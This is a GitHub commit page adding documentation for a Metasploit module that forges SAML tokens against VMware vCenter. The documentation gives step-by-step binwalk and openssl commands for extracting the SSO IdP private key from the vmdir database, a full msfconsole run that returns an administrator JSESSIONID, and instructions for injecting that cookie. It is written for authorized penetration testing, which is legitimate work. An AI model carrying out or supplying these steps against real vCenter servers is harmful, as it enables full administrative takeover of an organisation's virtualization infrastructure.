Skip to content

Commit 30aaea9

Browse files
Add vcenter_forge_saml_token aux module
1 parent 37af434 commit 30aaea9

File tree

2 files changed

+782
-0
lines changed

2 files changed

+782
-0
lines changed
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate,
2+
IdP private key, and VMCA root certificate as input objects; you must also provide the vCenter SSO
3+
domain name and vCenter FQDN. Successful execution returns a session cookie for the `/ui` path that
4+
grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be
5+
retrieved using Metasploit vCenter post-exploitation modules, or extracted manually from the vmdir
6+
database file at `/storage/db/vmware-vmdir/data.mdb` using `binwalk`. This module is largely based
7+
on information published by Zach Hanley at Horizon3:
8+
9+
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
10+
11+
## Vulnerable Application
12+
This module is tested against the vCenter appliance but will probably work against Windows instances.
13+
It has been tested against vCenter appliance versions 6.5, 6.7, and 7.0, and will work on vCenter 7.0
14+
Update 3 which introduced additional validation mechanisms to the SSO login process (RelayState). It
15+
will probably work against other versions of vCenter appliance down to vCenter 6.0 but has not been
16+
tested at versions below 6.5.
17+
18+
## Verification Steps
19+
This module must be executed while the target vCenter server is reachable over the network. You must
20+
already possess the SSO IdP certificate and key, and the VMCA certificate. These can be acquired by
21+
using a Metasploit vCenter post-exploitation module (with access to a live system with root creds)
22+
or by extracting the data manually from the vmdir database file using binwalk (with access to a
23+
vCenter backup). By default, the target domain `vsphere.local` and target username `administrator`
24+
are used; the target domain may be different depending on the scenario and should be adjusted
25+
accordingly.
26+
27+
1. Acquire the vCenter IdP certificate and private key, and VMCA certificate (see below)
28+
2. Start msfconsole
29+
3. Do: `use auxiliary/admin/vmware/vcenter_forge_saml_token.rb`
30+
4. Do: `set rhosts <vCenter appliance IPv4 or FQDN>`
31+
5. Do: `set vc_fqdn <vCenter appliance FQDN>`
32+
6. Do: `set vc_idp_cert <path to IdP cert>`
33+
7. Do: `set vc_idp_key <path to IdP key>`
34+
8. Do: `set vc_vmca_cert <path to VMCA cert>`
35+
9. Verify that the values for `domain` and `username` are sane
36+
10. Do: `run`
37+
11. Open a web browser and navigate to the vCenter admin UI for the target server (`https://<fqdn>/ui`)
38+
12. Apply the acquired session cookie for the vCenter host at the `/ui` path
39+
40+
## Options
41+
**DOMAIN**
42+
43+
The vSphere SSO domain. By default this is `vsphere.local`.
44+
45+
**USERNAME**
46+
47+
The target user within the SSO domain. This must be a valid user as vCenter will happily issue
48+
SAML assertions for invalid usernames, but the provided session tokens will not function. There
49+
should be no reason to modify the target user from the default `administrator` in most scenarios.
50+
51+
**RHOSTS**
52+
53+
The vCenter appliance IPv4 address or DNS FQDN. This must be reachable over HTTPS for the module
54+
to function.
55+
56+
**VC_FQDN**
57+
58+
The fully qualified DNS name of the vCenter appliance; this must be present in the Issuer element
59+
of the assertion for the module to function.
60+
61+
**VC_IDP_CERT**
62+
63+
The filesystem path to the PEM-formatted vCenter SSO IdP certificate.
64+
65+
**VC_IDP_KEY**
66+
67+
The filesystem path to the PEM-formatted vCenter SSO IdP private key.
68+
69+
**VC_VMCA_CERT**
70+
71+
The filesystem path to the PEM-formatted vCenter VMCA certificate.
72+
73+
## Scenarios
74+
### Extracting the vSphere SSO certificates
75+
The vmdir database is hosted on the appliance at `/storage/db/vmware-vmdir/data.mdb` - it is possible
76+
to extract the IdP keys from this file presuming you have root access to the appliance, or read access
77+
to a vCenter backup repository. Copy the file to the local system, and use binwalk to scan for the
78+
private key material.
79+
80+
`binwalk --signature ./data.mdb`
81+
82+
vSphere vmdir stores the IdP secrets without encryption within the database. There are many x509
83+
certificates within the vmdir database but there should only be two private keys; you are looking for
84+
two x509 v3 certificates in close proximity to two PKCS#1 RSA private keys in DER format. Below is an
85+
example of the target location from a binwalk signature scan of an example vmdir database.
86+
87+
```
88+
[...]
89+
8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991
90+
8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
91+
8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215
92+
8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189
93+
[...]
94+
```
95+
96+
The target data starts at offset `8839882` in this example. Adding the sequence lengths together we get `4474` bytes, thus:
97+
98+
`binwalk --offset=8839882 --length=4474 --dd=".*" ./data.mdb`
99+
100+
Will extract the target files.
101+
102+
```
103+
DECIMAL HEXADECIMAL DESCRIPTION
104+
--------------------------------------------------------------------------------
105+
8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991
106+
8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
107+
8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215
108+
8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189
109+
110+
$ ls -l ./_data.mdb.extracted/
111+
total 16
112+
-rwxrwxrwx 1 cs137 cs137 995 Apr 21 06:55 86E2CA
113+
-rwxrwxrwx 1 cs137 cs137 1083 Apr 21 06:55 86E6B0
114+
-rwxrwxrwx 1 cs137 cs137 1219 Apr 21 06:55 86EAF2
115+
-rwxrwxrwx 1 cs137 cs137 1193 Apr 21 06:55 86EB0C
116+
```
117+
118+
These should be the VMCA root certificate and SSO IdP certificate and private key. Note that vmdir appears to store two
119+
copies of the IdP private key, presumably to allow the key to be rotated if required. For a vanilla install of vCenter,
120+
both private keys will be identical. To determine which one is which, first compare the certificate CN using OpenSSL. The
121+
SSO IdP credential should have a common name of `ssoserverSign`.
122+
123+
```
124+
openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -noout -subject
125+
subject=CN = ssoserverSign
126+
127+
openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -noout -subject
128+
subject=CN = CA, DC = vsphere.local, C = US, ST = California, O = vcenter.cesium137.io, OU = VMware Engineering
129+
```
130+
131+
This confirms that `86E2CA` is the IdP certificate, and `86E6B0` is the VMCA certificate. Convert them
132+
to PEM format and rename them for convenience:
133+
134+
```
135+
openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -outform pem -out ./idp.pem
136+
openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -outform pem -out ./vmca.pem
137+
```
138+
139+
To associate them with their private key, first calculate the SHA-256 digest of the modulus for
140+
both certificates.
141+
142+
```
143+
openssl x509 -in ./idp.pem -modulus -noout | sha256sum
144+
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
145+
146+
openssl x509 -in ./vmca.pem -modulus -noout | sha256sum
147+
432f0244896a3243f46d4a2f7322127a52b891a53b984745c286989c02862a13 -
148+
```
149+
150+
Compare these to the modulus component of the candidate keys to associate them with the corresponding
151+
certificate.
152+
153+
```
154+
openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -modulus -noout | sha256sum
155+
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
156+
157+
openssl rsa -inform der -in ./_data.mdb.extracted/86EB0C -modulus -noout | sha256sum
158+
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
159+
```
160+
161+
Based on this output we conclude `86EAF2` and `86EB0C` are identical, and share a modulus with the
162+
IdP certificate: either of these can be extracted. Convert the file to PEM format and rename it for
163+
convenience.
164+
165+
```
166+
openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -outform pem -out ./idp.key
167+
writing RSA key
168+
```
169+
170+
You should now have `idp.pem`, `idp.key`, and `vmca.pem` in your working directory in PEM format.
171+
172+
### Running the Module
173+
Example run from meterpreter session on vCenter appliance version 7.0 Update 3d:
174+
175+
```
176+
msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb
177+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110
178+
RHOSTS => 192.168.100.110
179+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_FQDN vcenter.cesium137.io
180+
VC_FQDN => vcenter.cesium137.io
181+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem
182+
VC_IDP_CERT => ~/idp.pem
183+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key
184+
VC_IDP_KEY => ~/idp.key
185+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem
186+
VC_VMCA_CERT => ~/vmca.pem
187+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run
188+
[*] Running module against 192.168.100.110
189+
190+
[+] Validated vCenter Single Sign-On IdP trusted certificate chain
191+
[*] HTTP GET => /ui/login ...
192+
[*] HTTP POST => /ui/saml/websso/sso ...
193+
[+] Got valid administrator session token!
194+
[+] JSESSIONID=61B850134A734E790AC3F2C644E2F7F0; Path=/ui
195+
[*] Auxiliary module execution completed
196+
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) >
197+
```
198+
### Using the Session Cookie
199+
Inject the acquired session cookie using the method of your choice. The cookie name must be
200+
`JSESSIONID` with the value returned from the auxiliary module, and the path for the cookie
201+
must be set to `/ui`.

0 commit comments

Comments
 (0)